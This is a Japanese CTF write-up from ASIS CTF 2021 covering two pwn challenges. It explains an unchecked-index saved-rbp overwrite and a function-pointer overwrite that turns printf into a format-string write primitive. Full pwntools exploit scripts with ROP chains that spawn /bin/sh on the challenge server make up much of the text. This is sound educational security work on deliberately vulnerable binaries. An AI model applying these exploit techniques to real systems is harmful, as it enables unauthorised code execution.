ASIS CTF 2021 Writeup

seccamp後の活動として、参加したCTFのwriteupを書いていくことが決定したので早速書いていこうかと思います。 ASIS CTF 2021にチームTSGで参加をしました。自分は本番中にJust pwn itを解き、終わった後直ぐにABBRも解けたのでこの二つのexploitコードを共有しようと思います。

Just pwn it (pwn)

static linkedなバイナリです。

 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: No PIE (0x400000)

justpwnit()内で呼び出されたset_element()内で"Index: "に0を入れて一周ループを回した際の状況を整理します。(2回目の"Index: "には1を入れました。)

text

# set_element()
...
│       └─> 0x00401182      8b45ec         mov eax, dword [var_14h]
│           0x00401185      4898           cdqe
│           0x00401187      488d14c50000.  lea rdx, [rax*8]
│           0x0040118f      488b45d8       mov rax, qword [var_28h]
│           0x00401193      488d1c02       lea rbx, [rdx + rax]
│           0x00401197      be80000000     mov esi, 0x80               ; rsi
│           0x0040119c      bf01000000     mov edi, 1           #;-- rip:0x004011a1 b    e85a030000     call sym.calloc             ; void *calloc(size_t nmeb, size_t size)
│           0x004011a6      488903         mov qword [rbx], rax
...

register

rax = 0x7fff239bf440
rbx = 0x7fff239bf448
rcx = 0x0040c288
rdx = 0x00000008
r8 = 0x7fff239bf1df
r9 = 0x00000000
r10 = 0x00409000
r11 = 0x00000202
r12 = 0x7fff239bf4c8
r13 = 0x7fff239bf4d8
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x00000080
rdi = 0x00000001
rsp = 0x7fff239bf400
rbp = 0x7fff239bf430
rip = 0x004011a1
rflags = 0x00000246

stack

#- offset -      0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7fff239bf400  0000 0000 0000 0000 40f4 9b23 ff7f 0000  ........@..#.... 
0x7fff239bf410  0000 0000 0000 0000 3f3d 4000 0100 0000  ........?=@.....
0x7fff239bf420  0000 0000 0000 0000 3d12 4000 0000 0000  ........=.@.....
0x7fff239bf430  70f4 9b23 ff7f 0000 2f12 4000 0000 0000  p..#..../.@.....
# set_element()に飛んだ際のsaved rbp, saved RIPがここに格納されている
0x7fff239bf440  5050 f23a a77f 0000 0000 0000 0000 0000  PP.:............
# Indexで0を指定した結果callocの返り値はここに格納された
0x7fff239bf450  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7fff239bf460  0000 0000 0000 0000 0000 0000 0100 0000  ................

set_element()内でcallocによってバッファがとられていますがその返り値はrbxのアドレスの指す領域に格納されます。このrbxの値はqword[rbp-0x28]+qword[rbp-0x14]*8の値が入れられており、rbp-0x28にはstackの領域のアドレスが、rbp-0x14にはset_element()内で"Index: "として入力した数字が入っています。これは、justpwnit()内でローカル変数領域に作ったポインタを格納する配列を、callocで取ったバッファのアドレスを格納するための配列としてset_element()内で扱っているからこのようなバイナリになっているわけですが、indexとして入力する数字に何ら制限を加えていないので、配列外のstack領域に対してcallocの返り値を格納することができてしまいます。

callocの返り値を入れると嬉しい領域はズバリsaved rbpの格納されている領域です。"Index: "に-2を指定することで実現されます。これによってset_element()からreturnする際にleave命令によってrbpがバッファのアドレスを指すようになるわけですが、その状態でさらにset_element()の呼び出し元ルーチンであるjustpwnit()内の有限ループを抜けてleave命令に到達したときにrbpの値はrspに代入されます。最終的にバッファの先頭アドレスがstackのtopに位置する状態になるので、予めバッファの中にROPのpayloadを組んでおけばROPが発火するというわけです。

exploitコード

static linkedなのでROP内ではexecveシステムコールによって/bin/shを起動することを目指します。これを実現するために、0x68732f6e69622fという値(asciiで見ると/bin/sh、リトルエンディアンに注意)をraxにpopし、rw可能領域のアドレスをrdiにpopし、qword[rdi], raxガジェットを実行することによってrdiに/bin/shの文字列を指すポインタが入っている状況を作り出す、という方法をとったために「rdiのポインタが指す文字列は/bin/sh\x00のように絶対pathでないといけない」というexecveシステムコールがうまくいくための条件に気が付きませんでした。それゆえにABBRに置いて悲しいことが起きるわけですが。

from pwn import *

elf = ELF('./justpwnit')

io = remote('168.119.108.148', 11010)
#io = process('./justpwnit')

pop_rdx_addr = 0x403d23
pop_rsi_addr = 0x4019a3
pop_rdi_addr = 0x401b0d
pop_rax_addr = 0x401001
mov_qword_addr = 0x401ce7
syscall_addr = 0x4013e9

def exploit(payload):
    for i in range(3):
        io.recvuntil('Index: ')
        io.sendline('0')
        io.recvuntil('Data: ')
        io.sendline('a')

    io.recvuntil('Index: ')
    io.sendline('-2')
    io.recvuntil('Data: ')
    io.sendline(payload)

payload1 = p64(0x0)
payload1 += p64(pop_rdx_addr)
payload1 += p64(0x0)
payload1 += p64(pop_rsi_addr)
payload1 += p64(0x0)
payload1 += p64(pop_rdi_addr)
payload1 += p64(0x40c030)
payload1 += p64(pop_rax_addr)
payload1 += p64(0x68732f6e69622f) # /bin/sh
payload1 += p64(mov_qword_addr)
payload1 += p64(pop_rax_addr)
payload1 += p64(0x3b)
payload1 += p64(syscall_addr)
exploit(payload1)
io.interactive()

ABBR (pwn)

static linkedなバイナリです。

 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: No PIE (0x400000)

fgetsからは0x1000バイト分しか入力することができませんが、english_expand()にて省略として認識される文字列をrules.hの文字列に置き換えてmemcpyされるので、callocで取られた0x1000サイズのバッファを超えて書き込むことができます。またバッファの下には関数ポインタがありenglish_expand()のアドレスが入っていますが、ここを書き換えることで次のループの際に、main関数の中のアドレス0x402028にてrdxにその値が読みだされ0x402036にてcall rdxが実行された際にRIPを任意の場所へと持っていくことができます。

ここでいったんアドレス0x402036のcall rdxの際のstackとレジスタの値を整理しておきます。

text

# main()
...
│ │╎ 0x00402024 488b45f8 mov rax, qword [var_8h]
│ │╎ 0x00402028 488b10 mov rdx, qword [rax]
│ │╎ 0x0040202b 488b45f8 mov rax, qword [var_8h]
│ │╎ 0x0040202f 488b4008 mov rax, qword [rax + 8]
│ │╎ 0x00402033 4889c7 mov rdi, rax
│ │╎ #;-- rip:
│ │╎ 0x00402036 b ffd2 call rdx
...

register

rax = 0x00eb5b70 # バッファの先頭アドレス
rbx = 0x00400530
rcx = 0x00459e62
rdx = 0x00401da5 # 関数ポインタに格納されている値
r8 = 0x00eb5b70
r9 = 0x00000000
r10 = 0x0049e522
r11 = 0x00000246
r12 = 0x004030e0
r13 = 0x00000000
r14 = 0x004c9018
r15 = 0x00000000
rsi = 0x004c9943
rdi = 0x00eb5b70 # バッファの先頭アドレス
rsp = 0x7ffc74bb09c0
rbp = 0x7ffc74bb09d0
rip = 0x00402036
rflags = 0x00000212

stack

#- offset -     0 1  2 3  4 5  6 7  8 9  A B  C D  E F 0123456789ABCDEF
0x7ffc74bb09c0 0000 0000 0000 0000 806b eb00 0000 0000 .........k......
# 0x7ffc74bb09c8 -> 関数ポインタの存在するアドレス
0x7ffc74bb09d0 4030 4000 0000 0000 7028 4000 0000 0000 @0@.....p(@.....
# 0x7ffc74bb09d8 -> main関数のreturn address
0x7ffc74bb09e0 0000 0000 0000 0000 0000 0000 0100 0000 ................
0x7ffc74bb09f0 080b bb74 fc7f 0000 781f 4000 0000 0000 ...t....x.@.....
# 0x7ffc74bb09f0 -> stack上を指すポインタ
0x7ffc74bb0a00 0000 0000 0000 0000 0000 0000 1700 0000 ................
0x7ffc74bb0a10 7100 0000 0000 0000 0000 0000 7000 0000 q...........p...
0x7ffc74bb0a20 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc74bb0a30 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc74bb0a40 0000 0000 0000 0000 0000 0000 0000 0000 ................

まず始めに考えたことは、適当なガジェットに飛ばすことでJust pwn itと同じようにRSPにバッファの先頭アドレスを格納することでしたが、よさげなガジェットを見つけることができなかったことや、RSPをバッファの先頭に飛ばしたところでnull文字をfgetsで入力できない以上バッファにROPを組み立てるのが難しそうなことから断念しました。ここで、個人的に詰まっていたんですが、カービーさんから「一応Format String Attack (FSA)ができるよ。」と教えてもらったのでそれで何とかすることにしました。

ここでFSAができる理由ですけれども、関数ポインタをprintf()のアドレスに書き換えると、printf()はrdiに格納されているアドレスを第一引数の書式指定文字列へのポインタとして認識するので、0x402036のcall rdxの際の状態を考えるとcallocで取られたバッファに格納されている文字列がそこに対応するようになるわけですね。よって今後はmain関数の毎回のループで1回FSAができるわけです。FSAでは%pを使ったstack上の値のリークと%c%nまたは%c%hnを使った値の書き込みができます。%nはstack上にある該当する値をアドレスとして参照し、バッファに出力したバイト数分をそこに書き込むわけです。つまり、この時点でWrite What Where (www)コンディションにあるわけです。

後は、FSAでstack上のアドレスと関数ポインタのアドレスをリークし、main()のリターンアドレスの格納されているところを起点としてFSAで地道にROPを組み立て、最後にFSAによって再度関数ポインタをmain()のleave命令のところへと書き換えるとROPが発火するということになります。static linkedでsystem関数等は存在しませんのでexecveシステムコールを呼ぶようにします。syscallの際にrdiには"/bin/sh\0"の文字列が格納されているアドレスが入っている必要がありますが、幸いcall rdxの際にrdiはバッファのアドレスが入っているのでROP発火の直前のfgets()にて"/bin/sh\0を入力すればよいです。execveシステムコールの場合は絶対pathを渡してあげる必要があって、/bin/shの文字列の最後にnull文字をつけるのはマストであることを知らなかったので時間に間に合いませんでした。(完ぺきな状態でsyscallを呼べているはずなのに動かなくてヘルプを求めたところ、モラさんが教えてくれました。)

exploitコード

ROPを組む際に%nで入力してるはずなのに8byteまるまる書き込まれなかったので、もともと値が入っている場所はpopのガジェットで全部取り除きました。後になって冷静に考えてみると、%hnが2byte書き込みなので%nは4byte書き込みなんですかね。後でチェックします。

FSAにおいて%7$pには関数ポインタのアドレスが、%12$pにはstack上のアドレス(%47$p)が、%47$pにはこれまたstackのアドレスが入っています。%hnを%12$pに対して行うことで%47$pにstackの任意のアドレスを格納し、次に%47$pに%nを行ってstackの任意のアドレスに対して任意の値を格納しています。

from pwn import *

elf = ELF('./abbr')
#io = process('./abbr')
io = remote('168.119.108.148', 10010)

ret_addr = 0x493d1a
three_pop_addr = 0x48caba
pop_rsi_two_pop_addr = 0x45d0a1
pop_rax_addr = 0x45a8f7
pop_rdx_addr = 0x4017df
syscall_addr = 0x473156

def send_percent(payload):
    io.recvuntil('Enter text: ')
    io.sendline(payload)

def change_heap_pointer(value):
    payload = '%' + str(value) + 'c%7$n'
    print(payload)
    return payload

def make_payload_value(value):
    payload = '%' + str(value) + 'c%47$n'
    print(payload)
    return payload

def make_payload_offset_hn(offset):
    payload = '%' + str(offset) + 'c%12$hn'
    print(payload)
    return payload

def make_rop(offset, value):
    send_percent(make_payload_offset_hn(offset))
    send_percent(make_payload_value(value))

# Change english_expand -> printf

io.recvuntil('Enter text: ')
io.send('www'*257)
io.sendline(p64(0x410ee0))

# Get heap address

send_percent('%7$p')
heap_addr = io.recvline()
print('heap_addr is ' + heap_addr)
heap_addr = int(heap_addr, 16)

# Get stack address

send_percent('%12$p')
base_addr = io.recvline()
base_addr = hex(int(base_addr, 16) - 0x130)
print('base_addr is ' + base_addr)

# FSB offset

base_offset = '0x' + base_addr[-4:]
print('base_offset is ' + base_offset)
base_offset = int(base_offset, 16)

# Set ROP

make_rop(base_offset, pop_rsi_two_pop_addr)
base_offset += 32
make_rop(base_offset, ret_addr)
base_offset += 8
make_rop(base_offset, three_pop_addr)
base_offset += 32
make_rop(base_offset, pop_rax_addr)
base_offset += 8
make_rop(base_offset, 59)
base_offset += 8
make_rop(base_offset, pop_rdx_addr)
base_offset += 16
make_rop(base_offset, syscall_addr)

send_percent(change_heap_pointer(0x40205c))

io.recvuntil('Enter text: ')
io.sendline('/bin/sh\0')

io.interactive()

まとめ

先輩方がもっと難しいpwnの問題等を通していたおかげで、TSGは全体で25位でした。僕がABBRを通していれば2つほど順位が上だったので、惜しかったなという気持ちであります。 userlandのstackがらみのpwnの問題は取り掛かれるようになってきたので、次はuserlandのheapのbinsがらみのお話をきちんと勉強していきたいですね。